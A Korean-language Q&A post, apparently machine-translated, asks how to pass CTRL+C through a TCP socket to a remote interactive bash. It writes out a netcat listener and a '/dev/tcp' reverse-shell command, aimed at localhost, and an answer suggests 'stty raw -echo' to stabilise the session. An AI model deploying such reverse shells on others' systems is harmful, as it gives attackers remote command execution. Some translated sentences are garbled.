TCP 소켓을 통해 CTRL+c 특수 문자를 대화형 bash에 보내는 방법은 무엇입니까?

TCP 소켓을 통해 CTRL+c 특수 문자를 대화형 bash에 보내는 방법은 무엇입니까?

TCP 네트워크를 통해 대화형 셸을 사용하고 있지만 bashCTRL+c 시퀀스를 원격으로 보내는 방법을 알 수 없습니다 bash.

먼저 netcat인스턴스를 실행합니다(여기서 원격 bash와 상호 작용합니다).

nc -nvlp 8000

그런 다음 원격에서 실행합니다(간단하게 하기 위해 localhost를 사용하므로 다른 터미널에서 로컬로 시도해 볼 수 있습니다).

bash -i >& /dev/tcp/localhost/8000 0>&1

이제 netcat 터미널에 나타나는 대화형 bash를 사용하여 명령을 보낼 수 있으며 명령이 실행되고 결과가 표시됩니다.

내가 아직 알아내지 못한 것은 CTRL+c 시퀀스를 원격 bash에 전파하고 프로세스에서 이를 무시하는 방법입니다 netcat.


지금까지 시도한 내용은 다음과 같습니다.

nc -nvlp 8000 & trap "printf '\003' >/proc/$!/fd/0" INT; fg; trap 0 INT

이는 netcat백그라운드에서 시작하여 설정하고 수신되면 trap파일 끝 시퀀스( 0x03)를 netcat의 표준 입력으로 인쇄합니다.SIGINT

그런 다음 이 fg명령을 사용하여 netcat대화형 세션을 시작할 수 있도록 프로세스를 포그라운드로 가져옵니다. 명령 실행은 제대로 작동하지만 CTRL+c 시퀀스를 사용하면 반환 코드 netcat와 함께 종료되고 콘솔 이나 터미널에 아무 것도 인쇄되지 않습니다.130netcatbash

마지막 트랩은 SIGINT핸들러를 재설정합니다.

프로세스 는 성공을 나타내는 bash반환 코드로 끝납니다 0.

이 작업을 수행하는 방법에 대한 아이디어가 있습니까?

답변1

이것이 원하는 것인지 확실하지 않지만 netcat 프로세스를 백그라운드에 두고(CTRL+Z 누르기) 입력한 stty raw -echo다음 프로세스를 재개할 수 있습니다. 이제는 괜찮을 것입니다.

관련 정보